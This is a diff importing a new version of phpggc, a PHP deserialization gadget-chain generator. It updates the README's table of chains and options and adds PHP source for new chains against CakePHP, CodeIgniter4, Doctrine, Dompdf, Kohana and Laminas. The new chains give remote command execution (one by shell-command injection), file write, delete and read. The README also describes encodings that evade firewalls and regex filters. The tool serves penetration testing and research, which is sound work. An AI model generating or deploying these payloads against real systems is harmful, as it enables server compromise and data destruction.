Codebase list phpggc / c98a39a
Import upstream version 0.20221031 Kali Janitor 1 year, 6 months ago
94 changed file(s) with 2828 addition(s) and 183 deletion(s). Raw diff Collapse all Expand all
77 ## Requirements
88
99 PHP >= 5.6 is required to run PHPGGC.
10 PHP 8 is not yet supported.
1110
1211
1312 ## Usage
2019 Gadget Chains
2120 -------------
2221
23 NAME VERSION TYPE VECTOR I
24 CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
25 CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
26 Doctrine/FW1 ? File write __toString *
27 Drupal7/FD1 7.0 < ? File delete __destruct *
28 Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
29 Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
30 Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
31 Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
32 Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
33 Laminas/FD1 <= 2.11.2 File delete __destruct
34 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
35 Laravel/RCE2 5.5.39 RCE (Function call) __destruct
36 Laravel/RCE3 5.5.39 RCE (Function call) __destruct *
37 Laravel/RCE4 5.5.39 RCE (Function call) __destruct
38 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
39 Laravel/RCE6 5.5.* RCE (PHP code) __destruct *
40 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
41 Magento/FW1 ? <= 1.9.4.0 File write __destruct *
42 Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
43 Monolog/RCE1 1.18 <= 2.1.1+ RCE (Function call) __destruct
44 Monolog/RCE2 1.5 <= 2.1.1+ RCE (Function call) __destruct
45 Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
46 Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
47 Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
48 PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
49 PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
50 PHPExcel/FD1 1.8.2+ File delete __destruct
51 PHPExcel/FD2 <= 1.8.1 File delete __destruct
52 PHPExcel/FD3 1.8.2+ File delete __destruct
53 PHPExcel/FD4 <= 1.8.1 File delete __destruct
54 Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
55 Slim/RCE1 3.8.1 RCE (Function call) __toString
56 Smarty/FD1 ? File delete __destruct
57 Smarty/SSRF1 ? SSRF __destruct *
58 SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
59 SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
60 SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
61 SwiftMailer/FW3 5.0.1 File write __toString
62 SwiftMailer/FW4 4.0.0 <= ? File write __destruct
63 Symfony/FW1 2.5.2 File write DebugImport *
64 Symfony/FW2 3.4 File write __destruct
65 Symfony/RCE1 3.3 RCE (Command) __destruct *
66 Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
67 Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
68 Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
69 TCPDF/FD1 <= 6.3.5 File delete __destruct *
70 ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
71 WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
72 WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
73 WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
74 WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
75 WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
76 WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
77 WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
78 WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
79 WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
80 WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
81 WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
82 WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
83 WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
84 WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
85 WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
86 Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
87 Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
88 Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
89 ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
90 ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
91 ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
92 ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
93 ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *
94
22 NAME VERSION TYPE VECTOR I
23 CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
24 CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
25 CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
26 CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
27 CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct
28 Doctrine/FW1 ? File write __toString *
29 Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
30 Dompdf/FD1 1.1.1 <= ? File delete __destruct *
31 Dompdf/FD2 ? < 1.1.1 File delete __destruct *
32 Drupal7/FD1 7.0 < ? File delete __destruct *
33 Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
34 Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
35 Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
36 Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
37 Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
38 Kohana/FR1 3.* File read __toString *
39 Laminas/FD1 <= 2.11.2 File delete __destruct
40 Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct *
41 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
42 Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
43 Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
44 Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
45 Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
46 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
47 Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
48 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
49 Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
50 Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
51 Magento/FW1 ? <= 1.9.4.0 File write __destruct *
52 Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
53 Magento2/FD1 * File delete __destruct *
54 Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct *
55 Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct
56 Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct
57 Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
58 Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
59 Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct
60 Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct
61 Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct *
62 Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct *
63 Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct *
64 Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
65 PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
66 PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
67 PHPExcel/FD1 1.8.2+ File delete __destruct
68 PHPExcel/FD2 <= 1.8.1 File delete __destruct
69 PHPExcel/FD3 1.8.2+ File delete __destruct
70 PHPExcel/FD4 <= 1.8.1 File delete __destruct
71 PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct *
72 Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
73 Slim/RCE1 3.8.1 RCE (Function call) __toString
74 Smarty/FD1 ? File delete __destruct
75 Smarty/SSRF1 ? SSRF __destruct *
76 SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
77 SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
78 SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
79 SwiftMailer/FW3 5.0.1 File write __toString
80 SwiftMailer/FW4 4.0.0 <= ? File write __destruct
81 Symfony/FW1 2.5.2 File write DebugImport *
82 Symfony/FW2 3.4 File write __destruct
83 Symfony/RCE1 3.3 RCE (Command) __destruct *
84 Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
85 Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
86 Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
87 Symfony/RCE5 5.2.* RCE (Function call) __destruct
88 TCPDF/FD1 <= 6.3.5 File delete __destruct *
89 ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct *
90 ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct *
91 ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
92 ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct *
93 Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct *
94 WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
95 WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
96 WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
97 WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
98 WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
99 WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
100 WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
101 WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
102 WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
103 WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
104 WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
105 WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
106 WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
107 WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
108 WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
109 Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
110 Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
111 Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
112 ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
113 ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
114 ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
115 ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
116 ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *
95117 ```
96118
97119 Filter gadget chains:
102124 Gadget Chains
103125 -------------
104126
105 NAME VERSION TYPE VECTOR I
106 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
107 Laravel/RCE2 5.5.39 RCE (Function call) __destruct
108 Laravel/RCE3 5.5.39 RCE (Function call) __destruct *
109 Laravel/RCE4 5.5.39 RCE (Function call) __destruct
110 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
111 Laravel/RCE6 5.5.* RCE (PHP code) __destruct *
112 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
127 NAME VERSION TYPE VECTOR I
128 Laravel/RCE1 5.4.27 RCE (Function call) __destruct
129 Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
130 Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
131 Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
132 Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
133 Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
134 Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
135 Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
136 Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
137 Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
113138
114139 ```
115140
156181
157182 The `--wrapper` (`-w`) option allows you to define a PHP file containing the following functions:
158183
159 - `process_parameters($parameters)`: Called right **before** `generate()`, allows to change parameters
160 - `process_object($object)`: Called right **before** `serialize()`, allows to change the object
161 - `process_serialized($serialized)`: Called right **after** `serialize()`, allows to change the serialized string
184 - `process_parameters(array $parameters)`: Called right **before** `generate()`, allows to change parameters
185 - `process_object(object $object)`: Called right **before** `serialize()`, allows to change the object
186 - `process_serialized(string $serialized)`: Called right **after** `serialize()`, allows to change the serialized string
162187
163188 For instance, if the vulnerable code looks like this:
164189
233258
234259 ### ASCII Strings
235260
236 Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII value to an hexadecimal representation:
261 Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII char to an hexadecimal representation:
237262 `s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"A\00B\09\0D";`
238263 This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values.
239264 *Note: this is experimental and it might not work in some cases.*
240265
266 ### Armor Strings
267
268 Uses the `S` serialization format instead of the standard `s`. This replaces every char to an hexadecimal representation:
269 `s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"\41\00\42\09\0D";`
270 This comes handy when a firewall or PHP code blocks strings.
271 *Note: this is experimental and it might not work in some cases.*
272 *Note: this makes each string in the payload grow by a factor of 3.*
273
241274 ### Plus Numbers
242275
243276 Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as `/O:[0-9]+:`. This is easily bypassed using `O:+123:...` instead of `O:123:`. One can use `--plus-numbers <types>`, or `-n <types>`, to automatically add these `+` signs in front of symbols.
244 For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only i and d (float) types can have a +.
245
277 For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only `i` and `d` (float) types can have a `+`.
278
279 ### Testing your chain
280
281 To test if the gadget chain you want to use works in the targeted environment, jump to your environment's folder and run the chain argument-free, with the `--test-payload` option.
282
283 For instance, to test if `Monolog/RCE2` works on Symfony `4.x`:
284
285 ```
286 $ composer create-project symfony/website-skeleton=4.x some_symfony
287 $ cd some_symfony
288 $ phpggc monolog/rce2 --test-payload
289 Trying to deserialize payload...
290 SUCCESS: Payload triggered !
291 ```
292
293 The exit code will be `0` if the payload triggered, `1` otherwise.
294
295 ### Testing your chain against every version of a package
296
297 If you wish to know which versions of a package a gadget chain works against, you can use `test-gc-compatibility.py`.
298
299 ```
300 $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
301 Testing 59 versions for monolog/monolog against 2 gadget chains.
302
303 ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
304 ┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
305 ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
306 │ 2.x-dev │ OK │ OK │ KO │
307 │ 2.3.0 │ OK │ OK │ KO │
308 │ 2.2.0 │ OK │ OK │ KO │
309 │ 2.1.1 │ OK │ OK │ KO │
310 │ 2.1.0 │ OK │ OK │ KO │
311 │ 2.0.2 │ OK │ OK │ KO │
312 │ 2.0.1 │ OK │ OK │ KO │
313 │ 2.0.0 │ OK │ OK │ KO │
314 │ 2.0.0-beta2 │ OK │ OK │ KO │
315 │ 2.0.0-beta1 │ OK │ OK │ KO │
316 │ 1.x-dev │ OK │ OK │ KO │
317 │ 1.26.1 │ OK │ OK │ KO │
318 │ 1.26.0 │ OK │ OK │ KO │
319 │ 1.25.5 │ OK │ OK │ KO │
320 │ 1.25.4 │ OK │ OK │ KO │
321 ...
322 │ 1.0.1 │ OK │ KO │ KO │
323 │ 1.0.0 │ OK │ KO │ KO │
324 │ 1.0.0-RC1 │ OK │ KO │ KO │
325 │ dev-main │ OK │ OK │ KO │
326 │ * dev-phpstan │ OK │ OK │ KO │
327 └─────────────────┴─────────┴──────────────┴──────────────┘
328 ```
246329
247330 # API
248331
292375
293376 - `__destruct()` is always the best vector
294377 - Specify at least the version of the library you've built the payload on
295 - Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems.
296378 - Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.
379 - Respect code style: for instance, opening brackets `{` are on a new line, and arrays should be written as `[1, 2, 3]` instead of the old, `array(1, 2, 3)`, notation.
297380
298381 Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_.
299382 You can define pre- and post- processing methods, if parameters need to be modified.
304387 For instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetchain.
305388
306389
307
308 ## Docker
390 # Docker
309391
310392 If you don't want to install PHP, you can use `docker build`.
311393
0 <?php
1
2 namespace GadgetChain\CakePHP;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE\Command
5 {
6 public static $version = '? <= 3.9.6';
7 public static $vector = '__destruct';
8 public static $author = 'MoonBack';
9
10 public function generate(array $parameters)
11 {
12 $command = $parameters['command'];
13
14 return new \Symfony\Component\Process\Process($command);
15 }
16 }
0 <?php
1
2 namespace Symfony\Component\Process
3 {
4 use Cake\ORM\Table;
5
6 class Process
7 {
8 private $options;
9 private $processPipes;
10 private $status;
11 private $process;
12
13 public function __construct($cmd)
14 {
15 $this->options['create_new_console'] = 0;
16 $this->processPipes = new Table($cmd);
17 $this->status = "started";
18 $this->process = 1;
19 }
20 }
21 }
22
23 namespace Cake\ORM
24 {
25 use Cake\Shell\ServerShell;
26
27 class Table
28 {
29 protected $_behaviors;
30
31 public function __construct($cmd)
32 {
33 $this->_behaviors = new BehaviorRegistry($cmd);
34 }
35 }
36
37 class BehaviorRegistry
38 {
39 protected $_methodMap;
40 protected $_loaded;
41
42 public function __construct($cmd)
43 {
44 $this->_methodMap = ['readandwrite' => ['mb', 'main']];
45 $this->_loaded = ['mb' => new ServerShell($cmd)];
46 }
47 }
48 }
49
50 namespace Cake\Shell
51 {
52 use Cake\Console\ConsoleIo;
53
54 class ServerShell
55 {
56 protected $_host;
57 protected $_port;
58 protected $_documentRoot;
59 protected $_io;
60
61 public function __construct($cmd)
62 {
63 $this->_host = '& ' . $cmd . ' &'; // command injection
64 $this->_port = '';
65 $this->_documentRoot = '';
66 $this->_io = new ConsoleIo();
67 }
68 }
69 }
70
71 namespace Cake\Console
72 {
73 class ConsoleIo
74 {
75 protected $_out;
76
77 public function __construct()
78 {
79 $this->_level = -100;
80 }
81 }
82 }
0 <?php
1
2 namespace GadgetChain\CakePHP;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '? <= 4.2.3';
7 public static $vector = '__destruct';
8 public static $author = 'MoonBack';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Symfony\Component\Process\Process($function, $parameter);
16 }
17 }
0 <?php
1
2 namespace Symfony\Component\Process
3 {
4 use Cake\ORM\Table;
5
6 class Process
7 {
8 private $options;
9 private $processPipes;
10 private $status;
11 private $process;
12
13 public function __construct($func, $args){
14 $this->options['create_new_console'] = 0;
15 $this->processPipes = new Table($func, $args);
16 $this->status = "started";
17 $this->process = 1;
18 }
19 }
20 }
21
22
23 namespace Cake\ORM
24 {
25 use Cake\Database\Statement\CallbackStatement;
26
27 class Table
28 {
29 protected $_behaviors;
30
31 public function __construct($func,$args)
32 {
33 $this->_behaviors = new BehaviorRegistry($func, $args);
34 }
35 }
36
37 class BehaviorRegistry
38 {
39 protected $_methodMap;
40 protected $_loaded;
41
42 public function __construct($func, $args)
43 {
44 $this->_methodMap = ['readandwrite' => ['mb','fetch']];
45 $this->_loaded = ['mb' => new CallbackStatement($func, $args)];
46 }
47 }
48 }
49
50 namespace Cake\Database\Statement
51 {
52 class CallbackStatement
53 {
54 protected $_callback;
55 protected $_statement;
56
57 public function __construct($func, $args)
58 {
59 $this->_callback = $func;
60 $this->_statement = new BufferedStatement($args);
61 }
62 }
63
64 class BufferedStatement
65 {
66 protected $_allFetched;
67 protected $buffer;
68 protected $index;
69
70 public function __construct($args)
71 {
72 $this->_allFetched = 1;
73 $this->buffer = [$args];
74 $this->index = 0;
75 }
76 }
77 }
0 <?php
1
2 namespace GadgetChain\CodeIgniter4;
3
4 class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '-4.1.3+';
7 public static $vector = '__destruct';
8 public static $author = 'Firebasky';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \CodeIgniter\Cache\Handlers\RedisHandler($function, $parameter);
16 }
17 }
0 <?php
1
2 namespace Faker
3 {
4 class DefaultGenerator
5 {
6 protected $default;
7
8 public function __construct($cmd)
9 {
10 $this->default = $cmd; //open /System/Applications/Calculator.app
11 }
12 }
13 }
14
15 namespace Faker
16 {
17 class ValidGenerator
18 {
19 protected $generator;
20 protected $validator;
21 protected $maxRetries;
22
23 public function __construct($generator, $func)
24 {
25 $this->maxRetries = 1; //执行次数
26 $this->validator = $func;
27 $this->generator = $generator;
28 }
29 }
30 }
31
32 namespace CodeIgniter\Session\Handlers
33 {
34 class MemcachedHandler
35 {
36 public $lockKey = "Firebasky";
37 public $memcached;
38
39 public function __construct($memcached)
40 {
41 $this->memcached = $memcached;
42 }
43 }
44 }
45
46 namespace CodeIgniter\Cache\Handlers
47 {
48 class RedisHandler
49 {
50 public $redis;
51
52 public function __construct($func, $param)
53 {
54 $this->redis =
55 new \CodeIgniter\Session\Handlers\MemcachedHandler(
56 new \Faker\ValidGenerator((new \Faker\DefaultGenerator($param)), $func)
57 );
58 }
59 }
60 }
0 <?php
1
2 namespace GadgetChain\Doctrine;
3
4 class FW2 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5';
7 public static $vector = '__destruct';
8 public static $author = 'crlf';
9 public static $information = 'Creates a side directory "8a" in the same directory as your file.';
10
11 public function generate(array $parameters)
12 {
13 $writablePath = dirname($parameters['remote_path']);
14 $fileName = basename($parameters['remote_path']);
15 $phpCode = file_get_contents($parameters['local_path']);
16
17 return [
18 new \Doctrine\Common\Cache\Psr6\CacheAdapter(
19 new \Doctrine\Common\Cache\Psr6\CacheItem(0),
20 new \Doctrine\Common\Cache\FilesystemCache(
21 '/'.str_repeat('x', 300), $writablePath
22 )
23 ),
24 new \Doctrine\Common\Cache\Psr6\CacheAdapter(
25 new \Doctrine\Common\Cache\Psr6\CacheItem($phpCode),
26 new \Doctrine\Common\Cache\FilesystemCache(
27 '/../../' . $fileName, $writablePath
28 )
29 )
30 ];
31 }
32 }
0 <?php
1
2 namespace Doctrine\Common\Cache\Psr6
3 {
4 class CacheAdapter
5 {
6 private $deferredItems = [];
7
8 public function __construct($CacheItem, $FilesystemCache)
9 {
10 $this->deferredItems = ['x' => $CacheItem];
11 $this->cache = $FilesystemCache;
12 }
13 }
14 class CacheItem
15 {
16 private $value;
17
18 public function __construct($phpCode)
19 {
20 $this->value = $phpCode;
21 }
22 }
23 }
24
25 namespace Doctrine\Common\Cache
26 {
27 class FileCache
28 {
29 private $extension;
30 protected $directory;
31 private $umask = 0002;
32
33 public function __construct($extension, $directory)
34 {
35 $this->extension = $extension;
36 $this->directory = $directory;
37 }
38 }
39
40 class FilesystemCache extends FileCache {}
41 }
0 <?php
1
2 namespace GadgetChain\Dompdf;
3
4 class FD1 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '1.1.1 <= ?';
7 public static $vector = '__destruct';
8 public static $author = 'coiffeur';
9 public static $information = '
10 Note that some files may not be removed (depends on permissions).
11 Target versions: commit a13af8d4bdab280bf8c48dbc23a4d51cac6af202, 1 Dec 2021 (~v1.1.1) <= exploitable
12 ';
13
14 public function generate(array $parameters)
15 {
16 return new \Dompdf\CPDF($parameters['remote_path']);
17 }
18 }
0 <?php
1
2 namespace Dompdf;
3
4 class Cpdf
5 {
6 public $imageCache = [];
7
8 public function __construct($remote_path) {
9 array_push($this->imageCache, $remote_path);
10 }
11
12 }
0 <?php
1
2 namespace GadgetChain\Dompdf;
3
4 class FD2 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '? < 1.1.1';
7 public static $vector = '__destruct';
8 public static $author = 'coiffeur';
9 public static $information = '
10 Note that some files may not be removed (depends on permissions)
11 Target versions: exploitable < commit 61c86c04d2a483187ff9f6a73c50d42669be5b4d, 1 Dec 2021 (~v1.1.1)
12 ';
13
14 public function generate(array $parameters)
15 {
16 return new \Dompdf\Adapter\CPDF($parameters['remote_path']);
17 }
18 }
0 <?php
1
2 namespace Dompdf\Adapter {
3 use Dompdf\Dompdf;
4
5 class CPDF
6 {
7 public $_dompdf;
8 public $_image_cache = [];
9
10 public function __construct($remote_path) {
11 $this->_dompdf = new Dompdf();
12 array_push($this->_image_cache, $remote_path);
13 }
14 }
15 }
16
17 namespace Dompdf {
18 class Options {
19 public $debugPng = false;
20 }
21
22 class Dompdf {
23 public $options;
24
25 public function __construct() {
26 $this->options = new Options();
27 }
28 }
29 }
1212
1313 public function generate(array $parameters)
1414 {
15 return new \Archive_Tar($parameters['remote_file']);
15 return new \Archive_Tar($parameters['remote_path']);
1616 }
1717 }
0 <?php
1
2 namespace GadgetChain\Kohana;
3
4 class FR1 extends \PHPGGC\GadgetChain\FileRead
5 {
6 public static $version = '3.*';
7 public static $vector = '__toString';
8 public static $author = 'byq';
9 public static $information = 'include()';
10
11 public function generate(array $parameters)
12 {
13 return new \View($parameters['remote_path']);
14 }
15 }
0 <?php
1
2 class View
3 {
4 protected $_file;
5
6 public function __construct($_file) {
7 $this->_file = $_file;
8 }
9 }
99
1010 public function generate(array $parameters)
1111 {
12 $remote_file = $parameters["remote_file"];
12 $remote_path = $parameters["remote_path"];
1313
14 return new \Laminas\Http\Response\Stream($remote_file);
14 return new \Laminas\Http\Response\Stream($remote_path);
1515 }
1616 }
00 <?php
1 namespace Laminas\Http\Response {
2 class Stream {
3 function __construct($remote_file) {
1
2 namespace Laminas\Http\Response
3 {
4 class Stream
5 {
6 function __construct($remote_path)
7 {
48 $this->cleanup = '1';
5 $this->streamName = $remote_file;
9 $this->streamName = $remote_path;
610 }
711 }
812 }
0 <?php
1
2 namespace GadgetChain\Laminas;
3
4 use Laminas\Cache\Psr\CacheItemPool\CacheItem;
5 use Laminas\Cache\Psr\CacheItemPool\CacheItemPoolDecorator;
6 use Laminas\Cache\Storage\Adapter\Filesystem;
7 use Laminas\Cache\Storage\Adapter\FilesystemOptions;
8
9
10 class FW1 extends \PHPGGC\GadgetChain\FileWrite
11 {
12 public static $version = '2.8.0 <= 3.0.x-dev';
13 public static $vector = '__destruct';
14 public static $author = 'swapgs';
15 public static $information = '
16 This chain requires both laminas/laminas-cache (tested up to 3.0.x-dev) and
17 laminas/laminas-cache-storage-adapter-filesystem (a default dependency) to work.
18 Asking for a remote filename without extension will create a file with a trailing dot
19 (e.g. asking for `foo` will create `foo.`)
20 ';
21
22 public function process_parameters($parameters)
23 {
